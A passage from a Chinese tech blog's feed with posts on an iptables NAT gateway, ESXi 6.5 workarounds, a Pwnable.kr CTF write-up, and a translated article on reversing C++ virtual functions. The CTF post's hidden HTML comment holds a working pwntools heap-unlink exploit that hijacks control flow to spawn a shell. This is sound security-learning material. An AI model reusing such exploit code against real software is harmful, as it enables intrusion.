&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ZoneLanForward&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ACCEPT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; nat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ZoneWanPostRouting&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; MASQUERADE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; FW Fixing...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; mangle&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -X&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; mangle&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; FORWARD&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; tcp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; --tcp-flags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; SYN,RST SYN&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; TCPMSS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; --clamp-mss-to-pmtu&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后在&lt;code&gt;&#x2F;etc&#x2F;rc.local&lt;&#x2F;code&gt;里加几行&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; default-on&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &#x2F;sys&#x2F;class&#x2F;leds&#x2F;green:ph24:led1&#x2F;trigger&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;bash&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &#x2F;root&#x2F;scripts&#x2F;network_wlan_boot.sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &#x2F;dev&#x2F;kmsg&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; mmc0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &#x2F;sys&#x2F;class&#x2F;leds&#x2F;green:ph24:led1&#x2F;trigger&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重启机器，应该可以了。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;以上我们已经完成了最基本的NAT网关的配置。接下来的几篇文章，我会试图实现以下几个目标：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;PPPoE接入互联网&lt;&#x2F;li&gt;
&lt;li&gt;VPN接入国外网络以及流量区分&lt;&#x2F;li&gt;
&lt;li&gt;LAN中的IPv6访问&lt;&#x2F;li&gt;
&lt;li&gt;网络和运行状态监视（via HTTP）&lt;&#x2F;li&gt;
&lt;li&gt;启动中关闭LAN交换机&lt;&#x2F;li&gt;
&lt;li&gt;启动时更改WAN接入方式，以及运行状态监视（via LCD）&lt;&#x2F;li&gt;
&lt;li&gt;备用电源供应，RTC时钟和交换机配置保存&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>VMWare ESXi 6.5 部分常见Bug和Workround合集</title>
        <published>2017-03-30T00:00:00+00:00</published>
        <updated>2017-03-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/vcsa-exsi-650b-bugworkround/"/>
        <id>https://blog.iret.xyz/posts/vcsa-exsi-650b-bugworkround/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/vcsa-exsi-650b-bugworkround/">&lt;p&gt;最近在折腾实验室的ESXi，出了点大大小小的问题，记录如下。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;she-bei-re-cha-ba-dao-zhi-vcsashu-ju-ku-yi-chang&quot;&gt;设备热插拔导致VCSA数据库异常&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;现象：对开机的虚拟机，用VCSA切换USB设备，提示&lt;code&gt;Cannot complete operation due to concurrent modification by another operation.&lt;&#x2F;code&gt;，设备无法链接。重启VCSA后，有很大概率无法启动，&lt;code&gt;&#x2F;var&#x2F;log&#x2F;vmware&#x2F;vpxd&#x2F;vpxd.log&lt;&#x2F;code&gt;下报故障：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ODBC error: (23505) – ERROR: duplicate key value violates unique constraint “pk_vpx_vm_virtual_device”;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Error while executing the query” is returned when executing SQL statement “INSERT INTO VPX_VM_VIRTUAL_DEVICE (ID, DEVICE_KEY, CONN_AL_GU_CONTROL_FLAG, CONN_CONNECTED_FLAG, CONN_START_CONNECTED_FLAG, CONN_STATUS, DEVICE_INFO_SUMMARY, DEVICE_INFO_LABEL, DEVICE_CONTROLLER_KEY, DEVICE_UNIT_NUMBER, DEVICE_TYPE, DEVICE_TEXT) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;Workround：
&lt;ul&gt;
&lt;li&gt;方法1. 升级到VCSA 6.5b&lt;&#x2F;li&gt;
&lt;li&gt;方法2. 手工修改数据库
&lt;ul&gt;
&lt;li&gt;检查&lt;code&gt;&#x2F;var&#x2F;log&#x2F;vmware&#x2F;vpostgres&#x2F;postgre*.log&lt;&#x2F;code&gt;中，查找类似于下方的日志，并记录: &lt;code&gt;2016-11-26 10:33:20.283 AEDT 5838c272.1698 149799 VCDB vc DETAIL:  Key (id, device_key)=(501, 0) already exists.&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;在&lt;code&gt;&#x2F;etc&#x2F;vmware-vpx&#x2F;vcdb.properties&lt;&#x2F;code&gt;得到数据库登陆口令和密码后，用&lt;code&gt;&#x2F;opt&#x2F;vmware&#x2F;vpostgres&#x2F;current&#x2F;bin&#x2F;psql&lt;&#x2F;code&gt;连入数据库&lt;&#x2F;li&gt;
&lt;li&gt;检查&lt;code&gt;vc.vpx_vm_virtual_device&lt;&#x2F;code&gt;表中的项目，删除合适的项目。&lt;&#x2F;li&gt;
&lt;li&gt;方法3. （适用于VCSA仍能正常启动）将涉及到USB设备操作的虚拟机反注册之后重新注册&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;esxidui-bu-fen-usbshe-bei-qu-dong-zhi-chi-bu-liang&quot;&gt;ESXi对部分USB设备驱动支持不良&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;现象：多种故障。如对富士施乐P115b打印机，只能打印一页；对部分IBM USB有线网卡，有严重的丢包现象&lt;&#x2F;li&gt;
&lt;li&gt;Workround：
&lt;ul&gt;
&lt;li&gt;方法1. 升级到ESXi6.5b&lt;&#x2F;li&gt;
&lt;li&gt;方法2. 在ESXi主机上禁用自带的usb驱动，并重启：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;esxcli system module set -m=vmkusb -e=FALSE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;esxizai-bu-fen-jiu-ji-qi-shang-wu-fa-qi-dong&quot;&gt;ESXi在部分旧机器上无法启动&lt;&#x2F;h2&gt;
&lt;p&gt;&#x2F;&#x2F;解决方法忘掉了……&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-kao-wen-dang&quot;&gt;参考文档&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;pubs.vmware.com&#x2F;Release_Notes&#x2F;en&#x2F;vsphere&#x2F;65&#x2F;vsphere-vcenter-server-650b-release-notes.html&quot;&gt;vCenter Server 6.5.0b Release Notes&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;vman.ch&#x2F;vcenter-vdbodbcerror-unique-constraint-pk_vpx_vm_virtual_device-fix&#x2F;&quot;&gt;vCenter – VdbODBCError – unique constraint pk_vpx_vm_virtual_device – fix&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>Pwnable.kr Level 1 Writeup</title>
        <published>2017-03-23T00:00:00+00:00</published>
        <updated>2017-03-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/pwnable-kr-lv1-writeup/"/>
        <id>https://blog.iret.xyz/posts/pwnable-kr-lv1-writeup/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/pwnable-kr-lv1-writeup/">&lt;p&gt;Just make some notes. Totally used about 24 hours.&lt;&#x2F;p&gt;
&lt;p&gt;The admin said that the writeup of other levels should not be shared...But it will not affect me yet, since I haven&#x27;t do them yet ;).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;collision&quot;&gt;collision&lt;&#x2F;h2&gt;
&lt;p&gt;Just use perl&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bof&quot;&gt;bof&lt;&#x2F;h2&gt;
&lt;p&gt;Notice, the padding should be 52, not 32. And your terminal emulator might do bad things....&lt;&#x2F;p&gt;
&lt;h2 id=&quot;flag&quot;&gt;flag&lt;&#x2F;h2&gt;
&lt;p&gt;RCE. So easy. Unpack manually and break at memcpy.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;passcode&quot;&gt;passcode&lt;&#x2F;h2&gt;
&lt;p&gt;How to override fflush()?&lt;&#x2F;p&gt;
&lt;h2 id=&quot;random&quot;&gt;random&lt;&#x2F;h2&gt;
&lt;p&gt;Try to learn something about rand() and srand()...&lt;&#x2F;p&gt;
&lt;h2 id=&quot;input&quot;&gt;input&lt;&#x2F;h2&gt;
&lt;p&gt;Complex. But just try... Kind of boring.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;leg&quot;&gt;leg&lt;&#x2F;h2&gt;
&lt;p&gt;You need to see how the ARM fetch instructions. Interestring!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;mistake&quot;&gt;mistake&lt;&#x2F;h2&gt;
&lt;p&gt;Time to print an priority table of C, and paste on your laptop.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shellshock&quot;&gt;shellshock&lt;&#x2F;h2&gt;
&lt;p&gt;Just normal things. Nothing to mention about it.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;coin1&quot;&gt;coin1&lt;&#x2F;h2&gt;
&lt;p&gt;good practice for the algo&lt;&#x2F;p&gt;
&lt;h2 id=&quot;blackjack&quot;&gt;blackjack&lt;&#x2F;h2&gt;
&lt;p&gt;Another example of wrong type&lt;&#x2F;p&gt;
&lt;h2 id=&quot;lotto&quot;&gt;lotto&lt;&#x2F;h2&gt;
&lt;p&gt;try-and-fail. boring&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cmd1-and-cmd2&quot;&gt;cmd1 and cmd2&lt;&#x2F;h2&gt;
&lt;p&gt;Many solutions are using PATH. But I love vim.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;uaf&quot;&gt;uaf&lt;&#x2F;h2&gt;
&lt;p&gt;Block size is 0x18 bytes, so we need to free and get two 18 bytes block via the second option, which means the previous two blocks can be written. We can write a fake vTable address and modify the function pointer.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;codemap&quot;&gt;codemap&lt;&#x2F;h2&gt;
&lt;p&gt;At least two available solutions:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Write a debugger snippet to check parameters and return values of malloc&lt;&#x2F;li&gt;
&lt;li&gt;Use &quot;Heap Analyzer&quot; in the Visual Studio&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;memcpy&quot;&gt;memcpy&lt;&#x2F;h2&gt;
&lt;p&gt;If you got a SIGSEV, it might be caused by unaligned memory. Try to solve it. Notice that the management structure also took some space.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;asm&quot;&gt;asm&lt;&#x2F;h2&gt;
&lt;p&gt;Simple. Learn to use pwntools.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;unlink&quot;&gt;unlink&lt;&#x2F;h2&gt;
&lt;p&gt;Looks like ptmalloc unlink. But site admin&#x27;s solution is interestring.&lt;&#x2F;p&gt;
&lt;!--
from pwn import *
context.arch = &#x27;i386&#x27;    # i386 &#x2F; arm
r = process([&#x27;&#x2F;home&#x2F;unlink&#x2F;unlink&#x27;])
leak = r.recvuntil(&#x27;shell!\n&#x27;)
stack = int(leak.split(&#x27;leak: 0x&#x27;)[1][:8], 16)
heap = int(leak.split(&#x27;leak: 0x&#x27;)[2][:8], 16)
shell = 0x80484eb
payload = pack(shell)        # heap + 8  (new ret addr)
payload += pack(heap + 12)    # heap + 12 (this -4 becomes ESP at ret)
payload += &#x27;3333&#x27;        # heap + 16
payload += &#x27;4444&#x27;
payload += pack(stack - 0x20)    # eax. (address of old ebp of unlink) -4
payload += pack(heap + 16)    # edx.
r.sendline( payload )
r.interactive()

--&gt;</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>C++虚函数逆向(2)</title>
        <published>2017-02-16T00:00:00+00:00</published>
        <updated>2017-02-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/cpp-vfunc-reversing-2/"/>
        <id>https://blog.iret.xyz/posts/cpp-vfunc-reversing-2/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/cpp-vfunc-reversing-2/">&lt;blockquote&gt;
&lt;p&gt;译者注：译者Silver@XDSEC，原文地址&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;alschwalm.com&#x2F;blog&#x2F;static&#x2F;2016&#x2F;12&#x2F;17&#x2F;reversing-c-virtual-functions&#x2F;&quot;&gt;https:&#x2F;&#x2F;alschwalm.com&#x2F;blog&#x2F;static&#x2F;2016&#x2F;12&#x2F;17&#x2F;reversing-c-virtual-functions&#x2F;&lt;&#x2F;a&gt;，作者为Adam Schwalm。本系列的前作也有翻译，见&lt;a href=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;cpp-vfunc-reversing-1&#x2F;&quot;&gt;C++虚函数逆向（1）&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;qian-yan&quot;&gt;前言&lt;&#x2F;h2&gt;
&lt;p&gt;在上一篇文章中，我描述了如何在一个小型C++程序中进行去虚化（识别虚函数调用中对应的函数体）。然而，这种方法的限制比较多，最主要的是因为这种方法是手动的，比较低效。如果程序中有大量的虚表，手动定位每张虚表，并创建对应的结构体和引用关系，是不现实的。&lt;&#x2F;p&gt;
&lt;p&gt;因此，在这一部分中，我会进一步介绍虚表的详细结构，以及如何通过编程的方法来寻找他们。此外，我还会介绍一下如何尽可能的还原这些虚表之间的关系，并借此还原这些虚表背后对应的类的关系。&lt;&#x2F;p&gt;
&lt;p&gt;但是首先，我要说明一下这些做法对哪些程序有用。在上一篇文章中我说过，大多数和虚表布局有关的具体细节，和编译器有极大的相关性。这是因为由于C++标准需要对各种底层架构进行适配。问题是，如果虚表的具体布局也成为标准的一部分，而刚好这种布局在某些架构上的实现比较低效，那么就会很尴尬。编译器开发者们必须在性能和兼容性之间作出抉择，而他们似乎更偏重前者。&lt;&#x2F;p&gt;
&lt;p&gt;更尴尬的是，由于不同编译器产生的程序经常需要互相调用，他们之间必须有一定的兼容性（这种问题在动态链接的时候尤为突出）。因此，编译器开发者们同意对诸如虚表布局、异常处理和其他的一些事情上，共同遵照某种约定。这些约定中，使用最广泛的是&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;mentorembedded.github.io&#x2F;cxx-abi&#x2F;abi.html&quot;&gt;Itanium C++ ABI&lt;&#x2F;a&gt;。这个标准被GCC、clang、ICC和其他很多种编译器使用（然而不包含Visual Studio）。下面的描述对这些编译器都是可用的。&lt;&#x2F;p&gt;
&lt;p&gt;Itanium ABI在某些地方没有作出具体规定。比如，不约定虚表应该表存储在哪个段中。因此下面的文章，更确切的说，是在描述GCC下的行为，也就是下图中高亮的部分。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;cpp-vfunc-reversing-2&#x2F;.&#x2F;GCC_location-1.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;此外，仍然注意以下几点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;示例代码编译时没有使用RTTI（如果启用的话，下面的工作会简单很多）&lt;&#x2F;li&gt;
&lt;li&gt;程序不包含虚继承。这是因为讨论这个问题需要很长的篇幅，也很复杂，而虚继承的使用并不常见，我觉得用如此篇幅来描述这个问题是不合适的。&lt;&#x2F;li&gt;
&lt;li&gt;下文描述的是32位程序。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;guan-yu-xu-biao&quot;&gt;关于虚表&lt;&#x2F;h2&gt;
&lt;p&gt;首先回忆一下上一篇文章。那篇文章中我们谈到，虚表可以理解为数据段中的一连串函数指针。这个数组只能被第一个元素的地址索引，因为访问其他元素都可以通过取偏移量的方法来搞定。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.rodata:08048D48 off_8048D48     dd offset sub_8048B6E&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.rodata:08048D4C                 dd offset sub_8048BC2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.rodata:08048D50                 dd offset sub_8048BE0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这是在一个二进制文件中的一段内容，看起来符合以上定义。这是在&lt;code&gt;.rodata&lt;&#x2F;code&gt;段中的一个由三个函数指针构成的数组，只有首元素被引用了。实际上，这&lt;em&gt;就是&lt;&#x2F;em&gt;一个虚表。那么通过这个定义来寻找虚表，是十全十美的吗？&lt;&#x2F;p&gt;
&lt;p&gt;观察下面的代码：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;lt;iostream&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;lt;cstdlib&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;struct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; Mammal&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;  Mammal&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Mammal::Mammal&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  virtual&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; ~Mammal&lt;&#x2F;span&gt;&lt;span&gt;() {}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  virtual void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; walk&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Mammal::walk&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;struct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; Cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; :&lt;&#x2F;span&gt;&lt;span&gt; Mammal {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;  Cat&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Cat::Cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  virtual&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; ~Cat&lt;&#x2F;span&gt;&lt;span&gt;() {}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  virtual void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; walk&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Cat::walk&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
